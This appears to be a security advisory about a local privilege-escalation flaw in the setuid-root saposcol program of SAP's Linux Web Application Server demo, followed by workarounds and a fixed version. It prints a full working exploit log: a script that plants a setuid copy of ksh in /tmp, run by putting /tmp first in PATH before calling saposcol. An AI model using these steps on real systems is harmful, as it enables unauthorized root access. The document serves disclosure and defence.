COMMAND
/usr/sap/WAS/SYS/exe/run/saposcol
SYSTEMS AFFECTED
- SAP R/3 The Web Application Server for Linux as distributed on
CD at the CeBit fair
- The saposcol version 1.4 dated 2001-03-22
PROBLEM
Jochen Hein found following. The Web Application Server demo for
Linux contains the program saposcol that is setuid root. Due to
improper usage of popen(3) it may be possible for local users to
gain unauthorized root access.
Below is a complete log of a successful root eploit.
user@jupiter:~$ cat /tmp/expand
#!/bin/sh
cp /usr/bin/ksh /tmp/.sh
chmod 4755 /tmp/.sh
echo "done" > /tmp/blubber
user@jupiter:~$ ls -l /tmp/.sh /tmp/blubber
ls: /tmp/.sh: No such file or directory
ls: /tmp/blubber: No such file or directory
user@jupiter:~$ export PATH=/tmp:$PATH
user@jupiter:~$ /usr/sap/WAS/SYS/exe/run/saposcol
Starting collector (create new process)
user@jupiter:~$ ls -l /tmp/.sh /tmp/blubber
-rwsr-xr-x 1 root sapdb 162448 Apr 9 21:00 /tmp/.sh
-rw-r--r-- 1 root sapdb 5 Apr 9 21:00 /tmp/blubber
Local users may gain unauthorized root access. The path
/usr/sap/WAS/SYS/exe/run is not protected with file permissions as
well as saposcol itself (this is also documented in SAP's security
documentation).
Since the Web Application Server Demo may be installed on systems
with local users that may even allow dial up access, it is a real
problem.
SOLUTION
Workaround is to remove the setuid-bit from saposcol as show
below:
root# chmod u-s /usr/sap/WAS/SYS/exe/run/saposcol
This may affect some functions of the Web Application Server.
If you trust your wasadm user as well as all SAP R/3 users on your
system, you may only want to restrict saposcol to the group sapdb
and leave the setuid-bit intact.
root# chgrp sapdb /usr/sap/WAS/SYS/exe/run/saposcol
root# chmod a-rx /usr/sap/WAS/SYS/exe/run/saposcol
The version 1.5 of the saposcol program fixes this vulnerability.
It is available from:
* sapserv* in /general/misc/linuxlab/saptools - you need
access to SAP OSS.
* ftp.sap.com in /pub/linuxlab/saptools